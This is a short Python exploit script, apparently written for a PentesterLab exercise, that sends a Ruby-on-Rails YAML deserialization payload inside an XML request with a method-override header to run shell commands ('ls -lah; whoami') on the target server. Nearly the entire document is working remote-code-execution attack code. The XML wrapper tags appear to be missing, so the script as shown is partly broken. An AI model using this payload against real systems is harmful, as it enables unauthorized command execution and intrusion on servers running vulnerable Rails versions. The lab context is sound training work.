#!/usr/bin/python3 import requests import html import sys url = "http://ptl-c255bc2a-ab90d9aa.libcurl.so/" payload = "system('ls -lah; whoami')" yaml = ''' --- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection ? | foo ({}; @executed = true) unless @executed __END__ : !ruby/struct defaults: :action: create :controller: foos required_parts: [] requirements: :action: create :controller: foos segment_keys: - :format '''.format(payload) xml = ''' {} '''.format(html.escape(yaml)) header = { 'Content-Type': 'text/xml', 'X-HTTP-Method-Override': 'get' } resp = requests.post(url, data=xml, headers=header) if resp.status_code == 200: print("Command sucessfully executed!") sys.exit(1) else: print('Ouups something goes wrong!') print('Status code: {}'.format(resp.status_code)) sys.exit(1)